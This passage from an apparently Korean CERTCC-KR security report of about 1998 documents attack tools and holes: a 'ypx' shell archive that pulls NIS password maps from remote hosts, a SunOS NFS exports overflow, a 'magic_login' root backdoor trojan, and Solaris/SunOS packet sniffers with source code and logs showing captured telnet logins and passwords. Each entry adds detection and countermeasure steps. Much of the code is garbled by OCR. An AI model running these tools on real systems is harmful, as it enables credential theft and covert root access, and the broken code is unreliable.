X/* ypx 2.1 (c) Copyright 1991,1992 by Rob J. Nauta. All rights reserved. */

X#include <stdio.h>

X#include <rps/rpc.h>

X#include "nhost.h"

X#include "ypx-add.h"

X#ifndef lint

Xstatic char *copyright = "@(#)ypx-main.c 2.2 92/05/09 Rob J. Nauta₩n";

X#endif

X

Xextern CLIENT *rpc_yp_client();

Xchar *ypdomain, *programname;

X

Xmain(argc, argv)

Xint argc;

Xchar *argv[];

X{

Xint c;

Xint debug=0, errflg=0, geussing=0, toafile=0, sendmail=0;

Xint thisport = 0;

Page 77: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xchar *mapname = “passwd.byname";

XFILE *outputfile;

Xextern int optind;

Xextern char *optarg;

XCLIENT *client; /* Client pointer */

X

Xprogrmaname = argv[0];

Xtablec = 0;

Xwhile((c = getopt(argc, argv, "dgm:o:p:s")) != EOF)

Xswitch (c) {

Xcase 'd : /* debug */

Xdebug++;

Xcase 'g': /* guessing */

Xguessing++;

Xbreak;

Xcase 'm': / * mapname */

Xmapname = optarg;

Xbreak;

Xcase 'o': /* redirect output */

Xouputfile = fopen(optarg, "w");

Xtoafile++;

Xbreak;

Xcase 'p': /* go directly to port thisport */

Xtjisport = atoi(optarg);

Xbreak;

Xcase 's: /* try sendmail */

Xsendmail++;

Xbreak;

Xcase ‘?': /* help */

Xdefault;

Xerrflg++;

Xbreak;

X}

Xif(optind >= argc)

Xerrflg++;

Xif(errflg) {

Xfprintf(stderr, "Usage: %s [-dgs] [-m mapname] [-o outputfile] [-p

portnumber[₩n

hostname [domainname...]₩n",

Xprogramanme);

Page 78: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xexit(1);

X}

Xclient = rpc_yp_client(argv[optind], thisport);

Xif(client == NULL)

Xexit(2); /* Host not found, or mo ypserv */

Xif(guessing)

Xparse(argv[optind]); /* build name table */

Xif(sendmail) /* Add sendmail hostname */

Xparse(get_smname(argv[optind], debug));

Xwhille(optind <argc)

Xadd*(argv [optind++]); /* just add arg to table */

X

Xif((trymap(client, mapname, debug, outputfile) == 0) & debug)

Xfprintf(stderr, "YP map transfer successful.₩");

Xauth_destroy(client->cl_auth); /* Free client structure */

XClnt_destroy(client); /* Free client struct */

Xreturn(0);

X}

END_OF_ypx-main.c

Page 79: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if test 1974 -ne 'wc -c <ypx-main.c' ; then

echo shar : ₩"ypx-main.c₩" unpacked with wrong size!

fi

#end of overwriting check

fi

if test -f ypx-sm.c -a "${1}" != "-c" ; then

echo shar : Will not over-write exsiting file ₩"ypx-sm.c₩"

esle

echo shar : Extracting ₩"ypx-sm.c₩" ₩(783 charactesr₩)

sed "s/^X//" >ypx-sm.c <<'END_OF_ypx-sm.c'

X#include <stdio.h>

X#include <string.h>

X#ifndef lint

Xstatic char *copyright = “@(#)ypx-sm.c 1.0 91/11/20 Rob J. NAuta₩";

X#endif

X

X/*

X* Retrieves the full hostname from sendmail on the remote host.

X*/

Xchar *

Xget_smame(name, debug)

Xchar *name;

Xint debug;

X{

Xint s;

Xstatic char result[80];

Xchar buffer[256], a[20], *p;

X

Xif(debug)

Xfprintf(stderr, “Opening connection to sendmail ... ");

Xif((s = opensock(name, 25)) < 0) {

Xif(debug)

Xfprintf(stderr, "failed.₩n");

Xreturn (NULL);

X}

Xread(s, buffer, 256); /* Read one line */

Xclose(s);

Xif(p = strch(buffer, '₩r'))

X*p ₩ '₩0'; /* Remove trailing garbage */

Xif(debug)

Xfprintf(stderr, "ok. ₩n%s₩n", buffer);

Page 80: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Xsscanf(buffer, %s %s", a, result); /* Read "220" and hostname */

Xreturn (result); /*Retrun hostname */

X}

END_OF_ypx-sm.c

if test 783 -ne 'wc -c <ypx-sm.c'; then

echo shar : ₩"ypx-sm.c₩" unpacked with wrong size!

fi

# end of overwriting check

fi

if test -f ypx.1 -a "${1}" != "-c" ; then

echo shar : Will not over-writing exsiting file ₩"ypx.1₩"

else

echo shar : Extracting ₩"ypx.1₩" ₩(2435 characters₩)

sed "s/^//" >ypx.1 <<'END_OF_ypx.1'

X.₩" (c) Co[yright 1991 by Rob J. Nauta. All rights reserved.

X.₩" j

X.TH YPX 1 "13 Nov 1991"

X.SH NAME

Xypx ₩- transfera NIS map beyond the local (broadcast) network

Page 81: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X.SH SYNOPSIS

X.B YPX

X[

X.b ₩-dgs

X][

X.BI ₩-m “₩ mapname"

X][

X.BI ₩-o “₩ outputfile"

X]

X.I hostname

X[

X.I domainname

X]

X.SH DESCRIPTION

XNormal NIS operation depends on the ability to send broadcast

Xmessages over the local ethernet

XIt is possible to point a

X.B ypbind

Xdaemon to a

X.B ypserv

Xdaemon on a non-local system, however, this is not recommended

X.LP

X.B ypx

Xis a utility to transfer a NIS map from any host running a

X.B ypserv

Xdaemon

X.B ypx

Xis similar to

X.BR ypcat ,

Xwith some additions.

XTo be able to transfer a map, a

X.I domainname

Xmust be specified

XThere unfortunately is no way to ask the remote host about

Xits domainname, so it must be known already or guessed to

Xtransfer a map successfully.

XIf none is specified, the hostname of the remote

Xhost is used as the domainame, by trying parts of

X.B ypx

Xis able to guess at the remote domainname, by trying parts of

Xthe hostname, if guessing is enabled with the

Page 82: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X.B ₩-g

Xoption. if the

X.B ₩-s

Xoption is used

X.B ypx

Xwill connect to the

X.B sendmail

Xdaemon, read the hostname, and parse that too, to be used

Xas additional guess.

XFinally, any additional string on the commandline will be

Xadded to the list of domainname guesses.

X.SH OPTION

X.TP

X.B ₩-d

XDebug mode, gives progress information on stderr.

X.TP

X.B ₩-g

XEnable domainname guessing

X.TP

Page 83: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X.BI ₩-m “₩ mapname"

XSpecify the name of the NIS map to be transferred. The default is

X.BR passwd.byname .

X.TP

X.BI ₩-o “₩ outputfile"

XSend output file to

X.IR outputfile .

XIf the transfer was unsuccessfull, the (zero length)

X.I outputfile

Xwill be removed.

X.TP

X.BI ₩-p "₩portnumber"

XNormally the call is placed to the portmapper of the host, which

Xwill tell us the portnumber

X.IR ypserv(8)

Xis using. If a portnumber is specified, the RPC call is placed

Xdirectly to

X.IR ypserv(8).

X.TP

X.B ₩-s

XRetrives the full hostname from sendmail, parse it, and it to the

Xlist of guesses.

X.I

X.₩".SH FILES

X.SH "SEE ALSO"

X.BR domianname (1),

X.BR sendmail (8),

X.BR ypcat (1),

X.BR ypserv (8),

X.LP

X.I System and Network Administration

X.SH DIAGNOSYICS

X.TP

X.BI “Can't find " hostname!

XThe hostname is invalid, or the host was not found,

X.TP

X.B “ypx: RPC: Program not registered"

XThe remote host doesn't have a

X.B ypserv

Xdaemon running.

X.₩".SH BUGS

Page 84: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

X.SH AUTHOR

X.TP

XRob J. Nauta:

X.I [email protected]

END_OF_ypx.1

if test 2435 -ne 'wc -c <ypx.1' ; then

echo shar: ₩'ypx.1₩" unpacked with wrong size!

fi

#end of overwriting check

fi

echo shar: End of archive 1 ₩(of 1₩).

cp /dev/null ark1isdon

MISSING=“"

for l to 1; do

if test !-f ark${l}isdone ; then

MISSING=“${MISSING} ${1}"

fi

done

if test "${MISSING}“ = " ; then

Page 85: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

echo You have unpacked all 1 archives.

rm -f ark[1-9]isdone

else

echo You still need to unpack the following archives:

echo “ " ${MISSING}

fi

## End of shell archive.

exit 0

Page 86: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NFS_export_길이초과-SunOS-구성

NFS_expert_overflow-SunOS-config

Page 87: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NFS_expert_overflow-SunOS-config

NFS_export_길이초과-SunOS-구성

문서번호

KH98-005

문서제목

NFS_export_길이초과-SunOS-구성 (NFS_export_overflow-SunOS-config)

관련 응용체제

rpc.mountd

관련 운영체제

Sun SunOS 4.1x

취약점 분석

취약점 이해

-NFS 서버는 /etc/exports 파일에 NFS 마운트를 허용할 디렉토리를 지정한다. 그런데 이

파일내의 디렉토리 지정 항복의 전체 내용이 256자를 넘을 경우에 모든 호스트에 마운트를

허용하게 된다.

취약점 확인 방법

-showmount -e localhost

-/etc/exports 파일의 설정을 점검한다.

해킹수법 분석

해킹수법 이해

없음

해킹소스 프로그램

없음

Page 88: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

%showmount -e xxx.xxx.xxx.xxx

export list for xxx.xxx.xxx.xxx

/user1 204.226.32.1.204.226.32.2 204.226.32.4 204.226.32.5

204.226.32.6.204.226.32.7 204.226.32.8 204.226.32.9 204.226.32.10 204.226.32.12

204.226.32.13 204.226.32.14 204.226.32.15 204.226.32.16 204.226.32.16

204.226.32.17 204.226.32.18 204.226.32.19 204.226.32.20 204.226.32.21

204.226.32.22 204.226.32.22 204.226.32.23 204.226.32.24%mount

xxx.xxx.xxx.xxx:/user1/user2

※ 204.226.32라는 도메인은 임의의 설정값이다

해킹흔적 확인방법

대응 방법

- /etc/exports 파일의 내용을 점검하여 항목별로 256자를 초과하지 않도록 수정한다.

Page 89: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

magic_login-*-해킹도구

magic_login-*-hack_tool

Page 90: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

magic_login-*-hack_tool

magic_login-*-해킹도구

문서번호

KH98-006

문서제목

magic_login-*_해킹도구 (magic_login-*-hack_tool)

관련 응용프로그램

/bin/login

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

magic.c는 프로그램 컴파일시에 지정한 패스워드를 사용하여 외부나 내부의 일반 사용자가

항상 루트(root)로 로그인할 수 있게 해주는 트로이목마 프로그램이다. 이 프로그램을 이용

하여 로그인할 경우, who, w, 또는 finger로 해당 사용자를 확인할 수 없고, 로그에도 흔적

이 남지않는다. netstat를 이용해 확인할 수는 있으나 트로이목마 netstat를 함께 설치해둔

경우에는 확인이 불가능하다.

취약점 확인 방법

- 시스템 무결성 점검 프로그램(tripwire, md5 등)을 이용하여 파일 변조여부를 점검한다.

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

#include <stdio.h>

#include "code.h"

char getline(line,len)

char line[];

int len;

{

int j;

Page 91: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fflush(stdout);

j=0;

while (j<(len-1))

{

if (read(0,line+j,1) == 0)

{ line[j]='₩0';

return EOF;

}

if (line[j] == 0x0d ) continue;

if (line[j] == '₩n' )

{ line[j] = '₩0':

return NULL;

}

if (line[j] == '₩b'

j--;

else

j++;

}

line[len]='₩0';

return NULL;

}

main()

{

char b[80],*a;

FILE *fd;

if((fd=fopen(“magic.h",“w"))==NULL) {

printf(“couldnt open destination file₩n");

exit(-1);

}

a=b;

printf("Enter Magic word: ");

getlinel(a,10);

code(a);

fprintf(fd,"char magic[] = { ");

while(*a!='₩0') {

Page 92: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fprintf(fd,"%d, ",*a);

a++;

}

fprinft(fd,"0, };₩n");

fclose(fd);

return 0;

}

해킹시험 결과

해킹흔적 확인방법

대응방법

- 네트워크를 통한 외부사용자의 로그인을 금지한다.

- 시스템 무결성 점검도구(tripwire, md5 등)를 사용하여 파일 변조 여부를 수시로 점검한

다.

Page 93: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

네트워크_스니퍼-Soalris-해킹도구

network_sniffer-Solaris-hack_tool

Page 94: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

network_sniffer-Solaris-hack_tool

네트워크_스니퍼-Soalris-해킹도구

문서번호

KH98-007

문서제목

네트워크_스니퍼-Solaris-해킹도구 (network_sniffer-Solaris-hack_tool)

관련 응용프로그램

관련 운영체제

Sun Solaris ( 기타 운영체제용 버전들도 제공되고 있음)

취약점 분석

취약점 이해

네트워크 디바이스를 promiscuous 모드로 설정하면 자신의 주소뿐만 아니라 디바이스가

연결된 네트워크상의 모든 패킷을 읽어들여 내용을 확인할 수 있다. 이런 동작 모드를 이

용하여 네트워크 패킷의 앞부분만을 검색하여 사용자이름과 패스워드등과 같이 원하는 내용

을 찾아 보여주는 스니퍼 프로그램이 널리 퍼져있다.

취약점 확인 방법

- 트로이목마등이 없는 원래의 ifconfig 프로그램을 사용한다.

- 네트워크 디바이스의 promiscuous 모드 설정 여부를 확인하는 도구인 dpm을 사용하여

스니퍼 작동 여부를 확인한다.

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

- 첨부

해킹시험 결과

cc -o sol solsniff.c -lsocket -lnsl

flat# sol

Using logical device /dev/le [/dev/le]

Output to stdout.

Page 95: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Log started at => Mon Dec 16 15:05:41 [pid 2338]

- TCP/IP LOG - TM: Mon Dec 16 15:06:09 -

PATH: target(1079) => kitty(telnet)

STAT: Mon Dec 16 15:06:19, 45 pkts, 66 bytes [TH_FIN]

DATA: (255)(253)^C(255)(251)^X(255)(252)

(255)(252)#(255)(252)'(255)(250)^X

:

int len;

char *dp;

{

struct strioctl sioc;

int rc;

sioc.ic_cmd = cmd;

sioc.ic_timout = timout;

sioc.ic_len = len;

sioc.ic_dp = dp;

rc = ioctl(fd, l_STR, &sioc);

if(rc < 0)

return(rc);

else

return(sioc.ic_len);

}

dlattachreq(fd, ppa)

int fd;

u_long ppa;

{

dl_attach_req_t attach_req;

struct strbuf ctl;

int flags;

attach_req.dl_primitive = DL_ATTACH_REQ;

attach_req.dl_ppa = ppa;

ctl.maxlen = 0;

ctl.len = sizeof (attach_req);

ctl.buf = (char *) &attach_req;

Page 96: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

flags =0;

if (putmsg(fd, &ctl,(struct strbuf*) NULL, flags) <0)

syserr("dlattachreq: putmsg");

}

dlokack(fd,dufp)

int fd:

char *bufd;

{

union DL_primitives *dlp;

struct strbuf ctl;

int flags;

ctl.maxlen = MAXDLBUF;

ctl.len = 0;

ctlbuf= bufp;

strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, “dlokack");

dlp = (union DL_primitives *) ctl.buf;

expecting(DL_OK_ACK, dlp);

if(ctl.len<sizeof (dl_ok_ack_t))

err(“dlokack: response ctl.len too short: %d",

ctl.len);

if(flags !=RS_HIPRI)

err(“dlokack: DL_OK_ACK was ont M_PCPROTO");

if(ctl.len <sixeof (dl_ok_ack_t))

err(“dlokack: short response ctl.len: %d", ctl.len);

}

dlbindreq(fd, sap, max_conind, service_mode, conn_mamt, xidtest)

int fd;

u_long sap;

u_long max_conind;

u_long service_mode;

u_long conn_mgmt;

Page 97: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

u_long xidtest;

{

dl_bind_req_t bind_req;

struct strbuf ctl;

int flags;

bind_req.dl_primitive = DL_BIND_REQ;

bind_req.dl_sap = sap;

bind_req.dl_max_conind = max_conind;

bind_req.dl_service_mode = service_mode;

bind_req.dl_conn_mgmt = conn_mgmt;

bind_req.dl_xidtest_flg = xidtest;

ctl.maxlen = 0;

ctl.len = sizeof (bind_req);

ctl.buf = (char *) &bind_req);

flags = 0;

if(putmsg(fd, &ctl,(struct strbuf*) NULL, flags)<0)

syserr("dlbindreq: putmsg");

}

dibindack(fd, bufp)

int fd;

char *bufp;

{

union DL_primitives *dil;

struct strbuf ctl;

int flags;

ctl.maxlen = MAXDLBUF;

ctl.len=0;

ctl.buf = bufp;

strgetmsg(fd, &ctl, (struct ctrbuf*)NULL, &flags, “dlbindack");

dlp = (union DL_primitives *) ctl.buf:

expecting(DL_BIND_ACK, dlp);

Page 98: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(flags !=RS_HIPRI)

err(“dlbindack: DL_OK_ACK was not M_PCPROTO");

if(ctl.len <sizeof (dl_bind_ack_t))

err("dlbindack: short response ctl.len: %d", ctl.len);

}

dlpromisconreq(fd. lecel)

int fd;

u_long level;

{

dl_promiscon_req_t promiscon_req;

struct strbuf ctl;

int flags;

promiscon_req.dl_primitive = DL_PROMISCON_REQ;

promiscon_req.dl_level = level;

ctl.maxlen = 0;

ctl.len =sizeof (promiscon_req);

ctl.buf = (char *)&promiscon_req;

flags = 0;

if(putmsg(fd, &ctl,(struct strbuf*) NULL, flags) <0)

syserr("dlpromiscon: putmsg");

}

syserr(s)

char *s;

{

(void)perror(s);

exit(1);

}

do_it()

{

long buf[MAXDLBUF];

char *device;

Page 99: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int ppa;

int fd;

int sap;

struct srtbuf data;

int flags;

int i;

int c;

int offset;

int len;

struct timeval t;

u_int chunksize = 16 *1024;

struct sb_hdr *dp;

char *p, *limp;

int mrwtmp; /* temporay debugging crap */

device =“/dev/le";

ppa = 0:

sap=0x800;

/*

*Open the device.

*/

if((fd = open(device, 2)) <0)

syserr(devuce);

/*

* Attach.

*/

dlattachreq(fd.ppa);

dlokack(fd, buf);

/*

* Optionally enable promiscuous mode.

*/

if (promisc){

dlpromisconreq(fd, DL_PROMISC_PHYS);

dlokack(fd,buf);

}

/*

Page 100: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* Bind.

*/

dlbindreq(fd,sap, 0 DL_CLDLS, 0, 0);

dlbindack(fd, buf);

/*

* lssue DLIOCRAW ioctl.

*/

if(strioctl(fd, DLIOCRAW, -1, 0, NULL) <0)

syserr("DLIOCRAW");

/*

* Push and configure buffer module.

*/

if(bufmod){

if(ioctl(fd, I_PUSH, "bufmod") < 0)

syserr("push bufmod");

t.tv_sec = 0;

t.tv_usec = 500000; /* 0.5s */

if(strioctl(fd, SBIOCSTIME, -1, sizeof (structtimeval),

&t)<0)

syserr("SBIOCSTIME");

if(strioctl(fd, SBIOCSCHUNK, -1, sizeof (u_int),

&chunksize) <0)

syserr("SBIOCSCHUNK");

}

/*

*Fluch the read side of the Stream.

*/

if (ioctl(fd, L_FLUSH, FLUSHR) <0)

syserr("I_FLUSH");

/*

* Read packets.

*/

data.buf = (char *) databuf;

data.maxlen = MAXDLBUF;

data.len = 0;

Page 101: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* Here's the deal: I had some problems with the bufmod code.

but

I think it's working now. I don't know a whole lot about the

whole DLPI interface, so I can't be sure there aren't any

ovrsights here. It seems to be working now, but I have not

had

the time to do extensive testing.

I know for certain that packets will be dropped on a busy

network

if I don't use bufmod. That problem should not occur when

using

bufmod, but like I said, I may have overlooked something. */

while (((mrwtmp=getmsg(fd, NULL, &data, &flags)) =0) ||

(mrwtmp=MOREDATA)|| (mrwtmp=MORECTL)) {

p = data.buf;

limp = p + data.len;

/* This is the ugliest piece of commented out crap that I've ever

done. lgnore it. Someday it will go away. */

/* if(data.len && bufmod){

for(;p <limp; p +=dp->sbh_totlen {

bp = (struct sb_hbr*)p;

/* Display hex data if we want * /

for (i =0; I <dp->sbh_msglen; I++)

printg("%02x ", *(p =

sizeof (struct sb_hdr)+i)

& 0xff);

printf("₩n");

filter(p, bp->sbh_msglen);

}

}else if (data.len){*/

filter(data.buf, data.len);

/* } else if */

data.len = 0;

}/*while */

printf("finished getmsg() = %i₩n",mrwtmp);

}

Page 102: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/* Authorixation, if you'd like it. */

#define AUTHPASSWD "c6Lqd3Dvn213s"

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprcpy(prmpt,"(%s)UP?",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

void main(argc, argv)

int argc;

char **argv;

{

Page 103: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

/* I put this here for a reason, but now I'm commenting it out. */

/* if (!(LOG=fopen((LofName=".tfile"),"a")))

Zexit(1,"Output file cant be opened₩n"); */

/*Its still called NIT_DEV, even if it's no longer /dev/nit */

device=NIT_DEV;

while((ac<argc) & (argv[ac][0] = '-')) {

register char ch = argv[ac++][1];

swutch(toupper(ch)){

case 'I': devuce =argv[ac++];

break;

case 'O': if(!(LOG=fopen((LogName=argv[ac++]),“a")))

Zexit(1,“Output file cant be opened₩n");

brack;

case'B': backg=1;

brack;

case 'S' : filter_flags |=FILT_SMTP;

fprintf(ERR,"filering out smtp connections.₩n");

break;

case 'T' : filter_flags |=FILT_TELNET;

fprintf(ERR,"filering out telnet connections.₩n");

break;

case 'L' : filter_flags |=FILT_LOGIN;

fprintf(ERR,"filering out rsh/login connections.₩n");

break;

case 'F' : filter_flags |=FILT_FTP;

fprintf(ERR,"filering out ftp connections.₩n");

break;

case 'D' : filter_flags |=FILT_(argv[ac++]);

if(maxbuflen > MAXBUFLEN) maxbuflen=MAXBUFLEN;

break;

Page 104: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

default : fprintf(ERR,

"Usage: %s [-d x] [-s] [-f] [-l] [-t] [-i interface] [-o file]₩n".

ProgName);

fprintf(ERR," -d int set new data linit (128 default)₩n");

fprintf(ERR," -s filter out smtp connections₩n);

fprintf(ERR," -f filter out ftp connections₩n);

fprintf(ERR," -l filter out rlogin/rsh connections₩n);

fprintf(ERR," -t filter out telnet connections₩n);

fprintf(ERR," -o <file> output to <file>₩n");

exit(1);

}

}

fprintf(ERR,“Using logical device %s [%s}₩n",device,NIT_DEV);

fprintf(ERR,“Output to %s.%s%s",(LOG)?LogName:”stdout",

(debug)?“(debug)"“:”“,(backg)?" Backgrounding “:"₩n);

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM, death);

signal(SIGKILL, death);

signal(SIGQUIT, death);

if(backg && debug) {

fprintf(ERR, "[Cannot bg with debug on]₩n");

backg=0;

}

fprintf(LOG, “₩nLog started at => %s [pid %d]₩n",NOWtm(),getpid());

fflush(LOG);

do_it();

}

Page 105: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

네트워크_스니퍼-SunOS-해킹도구

network_sniffer-SunOS-heck_tool

Page 106: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

network_sniffer-SunOS-heck_tool

네트워크_스니퍼-SunOS-해킹도구

문서번호

KH98-008

문서제목

네트워크_스니퍼-SunOS-해킹도구(network_sniffer-SunOS-heck_tool)

관련 응용프로그램

관련운영체제

Sun SunOS(다른 운영체제용 버전들도 제공되고 있음)

취약점 분석

취약점 이해

통상적으로 네트워크 디바이스는 네트워크상의 패킷중 목표 주소가 자신의 주소인 패킷만을

받아들인다. 그러나 네트워크 디바이스가 promisuous 모드로 설정되면 네트워크상의 모든

패킷을 받아들이게 된다.

취약점 확인 방법

- 네트워크 디바이스의 promisuous 모드 설정여부를 확인하는 도구인 cpm을 사용하여 점

검한다.

- ifconfig 프로그램을 사용하여 점검한다. ifconfig의 트로이목마 버전도 있으므로 주의하

여야 한다.

해킹수법 분석

해킹수법 이해

- 스니퍼(sniffer)는 네트워크 디바이스의 promisuous 모드를 이용하여 네트워크 패킷을 감

시하며 각 패킷의 앞부분만을 검사하여 사용자 이름과 패스워드를 보여주거나 메일의 내용

을 보여주는 등의 일을 할 수 있다.

해킹 소스 프로그램

- 첨부

Page 107: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

sa# es

Using logical device le0 [/dev/nit]

Output to stdout.

Log started at =>Mon Dec 16 14:48:02 [pid 939]

- TCP/IP LOG - TM: Mon Dec 16 14:48:27 -

PATH: 203.227.32.100(39176) => 203.227.32.14(telnet)

STAT: Mon Dec 16 14:48:47, 57 pkts, 136 bytes [TH_FIN]

DATA: (255)(253)∧C(255)(251)∧X(255)(251)∧_(255)(251)

(255)(251)!(255)(251)"(255)(251)'(255)(253)∧E(255)(251)#(255)(250)∧_

Sun-CMD(255)(240)(255)(252)^A(255)(252)^_(255)(254)^E(255)(252)!(255)(253)^A

kadosu

:qlrk123

:exit

:

-

- TCP/IP LOG - TM: Mon Dec 16 15:06:55 -

PATH: flat(39185) => www.certcc.or.kr(telnet)

STAT: Mon dec 16 15:07:21, 48 pkts, 128 bytes [DATA LIMIT}

DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)

(255)(251)!(255)(251)"(255)(251)'(255)(253)^E(255)(251)#(255)(250)^_

: P

: #(255)(240)(255)(252)$(255)(250)^X

: Sun-CMD(255)(240)(255)(250)#

: flat:0.0(255)(240)(255)(250)'

: DISPLAY^Afat:.0.0(255)(240)(255)(253)^A(255)(252)^Akadosuuuuu

:

: qlkr1121

: kaadosusu

-

